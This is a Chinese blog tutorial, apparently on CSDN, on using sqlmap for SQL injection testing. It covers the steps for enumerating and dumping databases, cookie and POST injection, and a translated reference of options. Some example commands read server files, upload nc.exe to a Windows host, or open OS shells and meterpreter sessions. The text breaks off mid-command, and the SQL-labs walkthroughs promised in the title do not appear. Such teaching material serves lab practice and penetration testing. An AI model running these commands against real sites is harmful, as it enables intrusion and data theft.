SQL-labs通关合集及知识总结

SQL-labs通关合集及知识总结

文章目录


sqlmap的使用和常用命令:

使用technique参数可以指定使用什么技术探测,默认是所有技术。
B-布尔,T-时间,s-堆叠查询,u-union探测,E-基于报错的

1#、注入六连:

  1. sqlmap -u “http://www.xx.com?id=x” 【查询是否存在注入点

  2. --dbs         【检测站点包含哪些数据库
    
  3. --current-db    【获取当前的数据库名
    
  4. --tables -D "db_name"  【获取指定数据库中的表名 -D后接指定的数据库名称
    
  5. --columns  -T "table_name" -D "db_name"  【获取数据库表中的字段
    
  6. --dump -C "columns_name" -T "table_name" -D "db_name"  【获取字段的数据内容
    

2#、COOKIE注入:

sqlmap -u “http://www.xx.com?id=x” --cookie “cookie” --level 2 【cookie注入 后接cookie值

3#、POST注入:

(1)目标地址http:// www.xxx.com /login.asp
(2)打开brup代理。
(3)点击表单提交
(4)burp获取拦截信息(post)
(5)右键保存文件(.txt)到指定目录下
(6)运行sqlmap并执行如下命令:
用例:sqlmap -r okay.txt -p username

// -r表示加载文件(及步骤(5)保存的路径),-p指定参数(即拦截的post请求中表单提交的用户名或密码等name参数)

(7)自动获取表单:–forms自动获取表单

例如:sqlmap -u www.xx.com/login.asp --forms

(8)指定参数搜索:–data

例如:sqlmap -u www.xx.com/login.asp --data “username=1”

4#、常用指令:

  1. –purge 【重新扫描(–purge 删除原先对该目标扫描的记录)

  2. –tables 【获取表名

  3. --dbs         【检测站点包含哪些数据库
    
  4. --current-db    【获取当前的数据库名
    
  5. --current-user  【检测当前用户
    
  6. –is-dba 【判断站点的当前用户是否为数据库管理员

  7. –batch 【默认确认,不询问你是否输入

  8. –search 【后面跟参数 -D -T -C 搜索列(C),表(T)和或数据库名称(D)

  9. –threads 10 【线程,sqlmap线程最高设置为10

  10. –level 3 【sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头
    的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5

  11. –risk 3 【执行测试的风险(0-3,默认为1)risk越高,越慢但是越安全

  12. -v   【详细的等级(0-6)
      0:只显示Python的回溯,错误和关键消息。
      1:显示信息和警告消息。
      2:显示调试消息。
      3:有效载荷注入。
      4:显示HTTP请求。
      5:显示HTTP响应头。
      6:显示HTTP响应页面的内容
    
  13. –privileges 【查看权限

  14. –tamper xx.py,cc.py 【防火墙绕过,后接tamper库中的py文件

  15. –method “POST” --data “page=1&id=2” 【POST方式提交数据

  16. –threads number  【采用多线程 后接线程数

  17. –referer “” 【使用referer欺骗

  18. –user-agent “” 【自定义user-agent

  19. –proxy “目标地址″ 【使用代理注入

SQLmap的详细使用:

1.3.2 目标

在这些选项中必须提供至少有一个确定目标

 -d DIRECT    直接连接数据库的连接字符串

-u URL, --url=URL   目标URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url 

-l LOGFILEBurp或者WebScarab代理日志文件中分析目标

-x SITEMAPURL  从远程网站地图(sitemap.xml)文件来解析目标

-m BULKFILE      将目标地址保存在文件中,一行为一个URL地址进行批量检测。

-r REQUESTFILE   从文件加载HTTP请求,sqlmap可以从一个文本文件中获取HTTP请求,这样就可以跳过设置一些其他参数(比如cookiePOST数据,等等),请求是HTTPS的时需要配合这个--force-ssl参数来使用,或者可以在Host头后门加上:443

-g GOOGLEDORK     从谷歌中加载结果目标URL(只获取前100个结果,需要挂代理)

-c CONFIGFILE       从配置ini文件中加载选项

1.3.3 请求

这些选项可以用来指定如何连接到目标URL

--method=METHOD  强制使用给定的HTTP方法(例如put)

    --data=DATA   通过POST发送数据参数,sqlmap会像检测GET参数一样检测POST的参数。--data="id=1" -f --banner --dbs --users
   --param-del=PARA..  当GET或POST的数据需要用其他字符分割测试参数的时候需要用到此参数。

   --cookie=COOKIE     HTTP Cookieheader 值

   --cookie-del=COO..  用来分隔cookie的字符串值

   --load-cookies=L..  Filecontaining cookies in Netscape/wget format

   --drop-set-cookie   IgnoreSet-Cookie header from response

   --user-agent=AGENT  默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent参数来修改,同时也可以使用--random-agent参数来随机的从./txt/user-agents.txt中获取。当--level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入

   --random-agent     使用random-agent作为HTTP User-Agent头值

   --host=HOST         HTTP Hostheader value

   --referer=REFERER   sqlmap可以在请求中伪造HTTP中的referer,当--level参数设定为3或者3以上的时候会尝试对referer注入

   -H HEADER, --hea..  额外的http头(e.g."X-Forwarded-For: 127.0.0.1")

   --headers=HEADERS  可以通过--headers参数来增加额外的http头(e.g."Accept-Language: fr\nETag: 123")

   --auth-type=AUTH.. HTTP的认证类型 (Basic, Digest, NTLM or PKI)

   --auth-cred=AUTH..  HTTP 认证凭证(name:password)

   --auth-file=AUTH..  HTTP 认证PEM证书/私钥文件;当Web服务器需要客户端证书进行身份验证时,需要提供两个文件:key_file,cert_file,key_file是格式为PEM文件,包含着你的私钥,cert_file是格式为PEM的连接文件。

   --ignore-401        Ignore HTTPError 401 (Unauthorized)忽略HTTP 401错误(未授权的)

   --ignore-proxy      忽略系统的默认代理设置

   --ignore-redirects忽略重定向的尝试

   --ignore-timeouts   忽略连接超时

   --proxy=PROXY       使用代理服务器连接到目标URL

   --proxy-cred=PRO..  代理认证凭证(name:password)

   --proxy-file=PRO..  从文件加载代理列表

   --tor               使用Tor匿名网络

   --tor-port=TORPORT  设置Tor代理端口

   --tor-type=TORTYPE  设置Tor代理类型 (HTTP,SOCKS4 or SOCKS5 (缺省))

   --check-tor       检查Tor的是否正确使用

   --delay=DELAY   可以设定两个HTTP(S)请求间的延迟,设定为0.5的时候是半秒,默认是没有延迟的。

   --timeout=TIMEOUT   可以设定一个HTTP(S)请求超过多久判定为超时,10表示10秒,默认是30秒。

   --retries=RETRIES   当HTTP(S)超时时,可以设定重新尝试连接次数,默认是3次。

   --randomize=RPARAM可以设定某一个参数值在每一次请求中随机的变化,长度和类型会与提供的初始值一样

   --safe-url=SAFEURL  提供一个安全不错误的连接,每隔一段时间都会去访问一下

   --safe-post=SAFE..  提供一个安全不错误的连接,每次测试请求之后都会再访问一遍安全连接。

   --safe-req=SAFER..  从文件中加载安全HTTP请求

   --safe-freq=SAFE..  测试一个给定安全网址的两个访问请求

   --skip-urlencode    跳过URL的有效载荷数据编码

   --csrf-token=CSR..  Parameter usedto hold anti-CSRF token参数用来保存反CSRF令牌

   --csrf-url=CSRFURL  URL地址访问提取anti-CSRF令牌

   --force-ssl         强制使用SSL/HTTPS

   --hpp               使用HTTP参数污染的方法

   --eval=EVALCODE     在有些时候,需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()")

 sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

1.3.4 优化

这些选项可用于优化sqlmap性能

-o               打开所有的优化开关

--predict-output    预测普通查询输出

--keep-alive        使用持久HTTP(S)连接

--null-connection   获取页面长度

--threads=THREADS   当前http(s)最大请求数 (默认 1)

1.3.5 注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。

   -p TESTPARAMETER    可测试的参数

   --skip=SKIP         跳过对给定参数的测试

   --skip-static       跳过测试不显示为动态的参数

   --param-exclude=..  使用正则表达式排除参数进行测试(e.g. "ses")

   --dbms=DBMS         强制后端的DBMS为此值

   --dbms-cred=DBMS..  DBMS认证凭证(user:password)

   --os=OS            强制后端的DBMS操作系统为这个值

   --invalid-bignum    使用大数字使值无效

   --invalid-logical   使用逻辑操作使值无效

   --invalid-string    使用随机字符串使值无效

   --no-cast          关闭有效载荷铸造机制

   --no-escape         关闭字符串逃逸机制

   --prefix=PREFIX     注入payload字符串前缀

   --suffix=SUFFIX     注入payload字符串后缀

   --tamper=TAMPER   使用给定的脚本篡改注入数据

1.3.6 检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容

   --level=LEVEL     执行测试的等级(1-5,默认为1)

   --risk=RISK       执行测试的风险(0-3,默认为1)

   --string=STRING    查询时有效时在页面匹配字符串

   --not-string=NOT..  当查询求值为无效时匹配的字符串

   --regexp=REGEXP     查询时有效时在页面匹配正则表达式

   --code=CODE       当查询求值为True时匹配的HTTP代码

   --text-only        仅基于在文本内容比较网页

   --titles           仅根据他们的标题进行比较

1.3.7 技巧

这些选项可用于调整具体的SQL注入测试

   --technique=TECH    SQL注入技术测试(默认BEUST)

   --time-sec=TIMESEC  DBMS响应的延迟时间(默认为5秒)

   --union-cols=UCOLS  定列范围用于测试UNION查询注入

   --union-char=UCHAR  暴力猜测列的字符数

   --union-from=UFROM  SQL注入UNION查询使用的格式

   --dns-domain=DNS..  DNS泄露攻击使用的域名

   --second-order=S..  URL搜索产生的结果页面

1.3.8 指纹

f, --fingerprint   执行广泛的DBMS版本指纹检查

1.3.9 枚举

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。

   -a, --all           获取所有信息

   -b, --banner        获取数据库管理系统的标识

   --current-user      获取数据库管理系统当前用户

   --current-db        获取数据库管理系统当前数据库

    --hostname         获取数据库服务器的主机名称

   --is-dba            检测DBMS当前用户是否DBA

   --users             枚举数据库管理系统用户

   --passwords         枚举数据库管理系统用户密码哈希

   --privileges        枚举数据库管理系统用户的权限

   --roles            枚举数据库管理系统用户的角色

   --dbs             枚举数据库管理系统数据库

   --tables            枚举的DBMS数据库中的表

   --columns          枚举DBMS数据库表列

   --schema            枚举数据库架构

   --count             检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb

   --dump            转储数据库表项

    --dump-all          转储数据库所有表项

   --search           搜索列(S),表(S)和/或数据库名称(S)

   --comments          获取DBMS注释

   -D DB               要进行枚举的指定数据库名

   -T TBL              DBMS数据库表枚举

   -C COL             DBMS数据库表列枚举

   -X EXCLUDECOL     DBMS数据库表不进行枚举

   -U USER           用来进行枚举的数据库用户

   --exclude-sysdbs    枚举表时排除系统数据库

   --pivot-column=P..  Pivot columnname

   --where=DUMPWHERE   Use WHEREcondition while table dumping

   --start=LIMITSTART  获取第一个查询输出数据位置

   --stop=LIMITSTOP   获取最后查询的输出数据

   --first=FIRSTCHAR   第一个查询输出字的字符获取

   --last=LASTCHAR    最后查询的输出字字符获取

   --sql-query=QUERY   要执行的SQL语句

   --sql-shell         提示交互式SQL的shell

   --sql-file=SQLFILE  要执行的SQL文件

1.3.10 暴力

这些选项可以被用来运行暴力检查

   --common-tables     检查存在共同表

   --common-columns    检查存在共同列

1.3.11 用户自定义函数注入

这些选项可以用来创建用户自定义函数

   --udf-inject    注入用户自定义函数

   --shared-lib=SHLIB  共享库的本地路径

1.3.12 访问文件系统

这些选项可以被用来访问后端数据库管理系统的底层文件系统

   --file-read=RFILE   从后端的数据库管理系统文件系统读取文件,SQL Server2005中读取二进制文件example.exe:

sqlmap.py -u"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"--file-read "C:/example.exe" -v 1

   --file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件

   --file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径kali中将/software/nc.exe文件上传到C:/WINDOWS/Temp下:

python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" -v1

## 1.3.13 操作系统访问

这些选项可以用于访问后端数据库管理系统的底层操作系统

   --os-cmd=OSCMD   执行操作系统命令(OSCMD)

   --os-shell          交互式的操作系统的shell

   --os-pwn          获取一个OOB shell,meterpreter或VNC

   --os-smbrelay       一键获取一个OOBshell,meterpreter或VNC

   --os-bof           存储过程缓冲区溢出利用

   --priv-esc          数据库进程用户权限提升

   --msf-path=MSFPATH  MetasploitFramework本地的安装路径

   --tmp-path=TMPPATH  远程临时文件目录的绝对路径

linux查看当前用户命令:

sqlmap.py -
  • 3
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值